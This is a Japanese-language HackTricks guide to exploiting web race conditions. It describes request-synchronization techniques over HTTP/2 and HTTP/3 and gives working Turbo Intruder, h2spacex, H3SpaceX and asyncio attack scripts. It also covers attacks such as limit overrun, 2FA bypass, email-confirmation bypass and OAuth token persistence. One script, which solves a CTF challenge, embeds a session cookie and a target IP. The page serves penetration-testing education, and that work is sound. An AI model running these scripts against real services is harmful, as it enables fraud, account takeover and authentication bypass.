Race Condition

Reading time: 26 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

warning

この手法を深く理解するには、オリジナルのレポートを参照してください: https://portswigger.net/research/smashing-the-state-machine

Race Condition 攻撃の強化

Race Condition を利用する上での主な障壁は、複数のリクエストが同時に処理されることを確実にすることであり、処理時間の差が非常に小さいこと—理想的には1ms未満 を確保することです。

以下はリクエストを同期させるための手法です:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: 単一のTCP接続上で2つのリクエストを送れるため、ネットワークのジッタの影響を軽減できます。ただし、サーバー側の振る舞いのばらつきにより、2つだけでは一貫した race condition exploit を成立させるのに不十分な場合があります。
  • HTTP/1.1 'Last-Byte Sync': 20〜30件のリクエストの大部分を事前に送り、最後の小さな断片だけを保留しておき、それらをまとめて送ることでサーバーに同時到着させます。

Preparation for Last-Byte Sync には次が含まれます:

  1. ヘッダとボディを最後の1バイトを除いて送信し、ストリームを終了しない。
  2. 最初の送信後に100ms待つ。
  3. 最終フレームをバッチ化するために Nagle のアルゴリズムを利用する目的で TCP_NODELAY を無効化する。
  4. 接続をウォームアップするために ping を行う。

保留していたフレームを送ると、それらは単一パケットで到着するはずで、Wireshark で確認できます。静的ファイルは通常 RC attacks に関与しないため、この手法は当てはまりません。

HTTP/3 Last‑Frame Synchronization (QUIC)

  • Concept: HTTP/3 は QUIC (UDP) 上で動作します。TCP の coalescing や Nagle に頼れないため、従来の last‑byte sync は既製クライアントでは機能しません。代わりに、複数の QUIC stream‑final DATA フレーム(FIN)を同じ UDP データグラムに意図的に合成し、サーバーが同じスケジューリングティックで全てのターゲットリクエストを処理するようにします。
  • How to do it: QUIC フレーム制御を扱える専用ライブラリを使います。例えば H3SpaceX は quic-go を操作して、ボディ付きリクエストとボディなしの GET スタイルリクエストの両方で HTTP/3 last‑frame synchronization を実装しています。
  • Requests‑with‑body: HEADERS + DATA を各ストリームで最後の1バイトを除いて送信し、その後すべてのストリームの最後の1バイトをまとめてフラッシュする。
  • GET‑style: 偽の DATA フレームを作る(または Content‑Length を伴う極小のボディ)ことで、全ストリームを1つのデータグラムで終了させる。
  • Practical limits:
    • 同時実行数はピアの QUIC max_streams トランスポートパラメータ(HTTP/2 の SETTINGS_MAX_CONCURRENT_STREAMS に相当)で制限されます。これが低い場合は、複数の H3 接続を開いてレースを分散させてください。
    • UDP データグラムのサイズと path MTU により、同時に合成できる stream‑final フレーム数が制限されます。ライブラリは必要に応じて複数のデータグラムに分割しますが、単一データグラムでのフラッシュが最も確実です。
  • Practice: H3SpaceX に付随する公開の H2/H3 race labs やサンプルエクスプロイトがあります。
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
go
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

サーバーアーキテクチャへの適応

ターゲットのアーキテクチャを理解することは重要です。Front-end servers はリクエストを異なる経路で処理することがあり、timing に影響します。事前に server-side connection warming を無意味なリクエストで行うと、リクエストの timing を平準化できる場合があります。

セッションベースのロックの扱い

PHP の session handler のようなフレームワークはセッション単位でリクエストを直列化するため、脆弱性を覆い隠すことがあります。各リクエストで異なる session tokens を利用すると、この問題を回避できます。

レートやリソース制限の回避方法

connection warming が無効な場合、ダミーリクエストを大量に送って web servers のレートやリソース制限での遅延を意図的に誘発させることで、server-side delay が発生し single-packet attack を促進し、race conditions を引き起こしやすくすることが考えられます。

Attack Examples

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): You can send the request to Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), you can change in the request the value you want to brute force for %s like in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s and then select the examples/race-single-packer-attack.py from the drop down:

If you are going to send different values, you could modify the code with this one that uses a wordlist from the clipboard:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

ウェブが HTTP2 をサポートしていない(HTTP1.1 のみ)の場合は、Engine.THREADED または Engine.BURPEngine.BURP2 の代わりに使用してください。

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): 1つのエンドポイントにリクエストを送り、その後他の複数のエンドポイントにリクエストを送って RCE をトリガーする必要がある場合は、race-single-packet-attack.py スクリプトを次のように変更できます:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • また、Burp Suite の Repeater では新しい 'Send group in parallel' オプションからも利用できます。
  • limit-overrun の場合は、グループに same request 50 times を追加するだけで良いです。
  • connection warming の場合、グループの beginning に Web サーバの非静的な部分への requests をいくつか add すると良いでしょう。
  • 2 サブステートのステップで、1 つのリクエストから次のリクエストへ処理が移る間にプロセスを delaying したい場合は、両リクエストの間に extra requests betweenadd できます。
  • multi-endpoint の RC では、まず goes to the hidden state する request を送信し、その直後に 50 requests を送り exploits the hidden state させる、という方法が取れます。
  • Automated python script: このスクリプトの目的は、ユーザーの email を変更しつつ、新しい email の verification token が最後の email に届くまで継続的に確認を繰り返すことです(これはコード上で、email を変更できる一方で verification が旧 email に送られてしまう RC が確認されたためです。email を示す変数が最初の値で既に設定されていたために発生していました)。
    受信メールの中に "objetivo" という単語が見つかったら、それが変更した email の verification token を受け取った合図なので、攻撃を終了します。
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: エンジンとゲーティングに関するメモ

  • Engine selection: HTTP/2 対象では Engine.BURP2 を使用して single‑packet attack をトリガーする。HTTP/1.1 の last‑byte sync には Engine.THREADED または Engine.BURP にフォールバックする。
  • gate/openGate: gate='race1'(または試行ごとのゲート)で多数のコピーをキューに入れると、それぞれのリクエストの末尾を保留する。openGate('race1') は全ての末尾をまとめてフラッシュし、ほぼ同時に到着させる。
  • Diagnostics: Turbo Intruder の負のタイムスタンプは、サーバがリクエストの完全送信前に応答したことを示し、オーバーラップを証明する。真のレースではこれが期待される挙動である。
  • Connection warming: タイミングを安定させるために最初に ping や無害なリクエストを数回送る。最終フレームのバッチ化を促すために TCP_NODELAY を無効にすることも検討する。

Single Packet Attack の改善

元の研究では、この攻撃は 1,500 バイトの制限があると説明されている。しかし、this post では、single packet attack の 1,500 バイト制限を 65,535 B window limitation of TCP by using IP layer fragmentation に拡張する方法(単一のパケットを複数の IP パケットに分割し、異なる順序で送信してすべてのフラグメントがサーバに到達するまで再組み立てを防ぐ)が説明されている。この技術により研究者は約166msで10,000件のリクエストを送信できた。

この改善は、数百〜数千のパケットが同時に到着することを要求する RC における攻撃の信頼性を高めるが、ソフトウェア側の制限が存在する場合がある点に注意。Apache、Nginx、Go といった一般的な HTTP サーバは SETTINGS_MAX_CONCURRENT_STREAMS をそれぞれ 100、128、250 に厳格に設定している。一方で NodeJS や nghttp2 は無制限にしている。
これは基本的に Apache が単一の TCP 接続からの HTTP ストリームを最大 100 しか扱わないことを意味し(この RC 攻撃を制限する)、HTTP/3 では類似の制限が QUIC の max_streams トランスポートパラメータに相当する。これが小さい場合はレースを複数の QUIC 接続に分散させること。

この手法を使ったいくつかの例はリポジトリ https://github.com/Ry0taK/first-sequence-sync/tree/main で確認できる。

Raw BF

以前の研究以前は、パケットを可能な限り速く送信して RC を引き起こそうとするいくつかのペイロードが使われていた。

  • Repeater: 前のセクションの例を参照。
  • Intruder: requestIntruder に送信し、number of threads30 に設定(Options menu and, 内で)、ペイロードとして Null payloads を選択して 30 を生成する。
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC 方法論

制限超過 / TOCTOU

これは最も基本的なタイプの race condition で、vulnerabilitiesあるアクションを実行できる回数を制限する場所に出現するケースです。例えば、同じ割引コードをウェブストアで何度も使うようなものです。非常に簡単な例は this reportthis bug にあります。

この種の攻撃には多くのバリエーションがあり、例えば:

  • ギフトカードを複数回換金する
  • 製品の評価を複数回行う
  • 残高を超えて現金を引き出す/送金する
  • 単一の CAPTCHA 解答を使い回す
  • ブルートフォース対策のレート制限を回避する

Hidden substates

複雑な race condition を悪用するには、短時間だけ存在する隠れた、あるいは 意図されていないマシンのサブステート とやり取りする機会を利用することが多いです。アプローチは次の通りです:

  1. 潜在的な隠れたサブステートを特定する
  • ユーザープロファイルやパスワードリセットのプロセスなど、重要なデータを変更するまたは操作するエンドポイントを特定することから始めます。以下に注目してください:
  • Storage: クライアント側で扱われるデータよりもサーバー側の永続データを操作するエンドポイントを優先する。
  • Action: 新しいデータを追加する操作よりも、既存データを変更する操作の方が悪用できる条件を作りやすい。
  • Keying: 成功する攻撃は通常、同じ識別子(例:username や reset token)でキー付けされた操作を含む。
  1. 初期プロービングを行う
  • 特定したエンドポイントに対して race condition 攻撃を試し、期待される結果からの逸脱を観察します。予期しない応答やアプリケーション挙動の変化は脆弱性を示すサインです。
  1. 脆弱性を実証する
  • 脆弱性を悪用するために必要な最小限のリクエスト数(多くの場合は2回だけ)に攻撃を絞り込みます。このステップはタイミングがシビアなため、複数回の試行や自動化が必要になることがあります。

Time Sensitive Attacks

リクエストのタイミングを精密に合わせることで脆弱性が露呈することがあります。特に、タイムスタンプのような予測可能な方法でセキュリティトークンが生成されている場合に顕著です。例えば、パスワードリセットトークンがタイムスタンプに基づいて生成されていると、同時リクエストで同一のトークンが作られる可能性があります。

To Exploit:

  • シングルパケット攻撃のような精密なタイミングを用いて同時にパスワードリセットリクエストを行います。トークンが同一であれば脆弱性の可能性があります。

Example:

  • 同時に2つのパスワードリセットトークンを要求して比較します。トークンが一致すれば、トークン生成に欠陥があることを示唆します。

Check this PortSwigger Lab to try this.

Hidden substates case studies

Pay & add an Item

PortSwigger Lab を確認すると、ストアで pay して 追加のアイテムを加え、その分を支払わなくて済む 方法を見ることができます。

Confirm other emails

アイデアは メールアドレスを検証すると同時に別のメールアドレスへ変更する ことで、プラットフォームが新しく変更された方を検証するかどうかを確認することです。

this research によれば、Gitlab はこの方法で乗っ取りに脆弱である可能性があり、email verification token を一方のメールからもう一方のメールに送ってしまうことがあり得ました。

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

もし 2つの異なる書き込み がデータベース内に 情報を追加する のに使われている場合、データベースには「最初のデータだけが書き込まれている」短時間のウィンドウが存在します。例えば、ユーザー作成の際に usernamepassword が書き込まれ、その後に新規アカウントを確認するための token が書き込まれることがあります。この場合、短時間だけ アカウント確認用の token が null である可能性があります。

したがって、アカウントを登録してすぐに空のトークン(token=token[]= など)で複数回リクエストを送ると、自分の管理するメール以外のアカウントを確認してしまえる可能性があります。

Check this PortSwigger Lab to try this.

Bypass 2FA

次の擬似コードは、very small time の間にセッションが作成される一方で 2FA が強制されないため、race condition に脆弱です:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 の永続化

There are several OAUth providers. これらのサービスではアプリケーションを作成し、プロバイダーに登録されているユーザーを認証することができます。In order to do so, the client will need to permit your application to access some of their data inside of the OAUth provider.
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "Application wants to access you information, do you want to allow it?"

Race Condition in authorization_code

The problem appears when you accept it and automatically sends an authorization_code to the malicious application. Then, this application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT (Authentication Token/Refresh Token) from the authorization_code for your account. Basically, it will abuse the fact that you have accept the application to access your data to create several accounts. Then, if you stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid.

Race Condition in Refresh Token

Once you have obtained a valid RT you could try to abuse it to generate several AT/RT and even if the user cancels the permissions for the malicious application to access his data, several RTs will still be valid.

RC in WebSockets

  • In WS_RaceCondition_PoC you can find a PoC in Java to send websocket messages in parallel to abuse Race Conditions also in Web Sockets.
  • With Burp’s WebSocket Turbo Intruder you can use the THREADED engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune config() (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See RaceConditionExample.py.

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする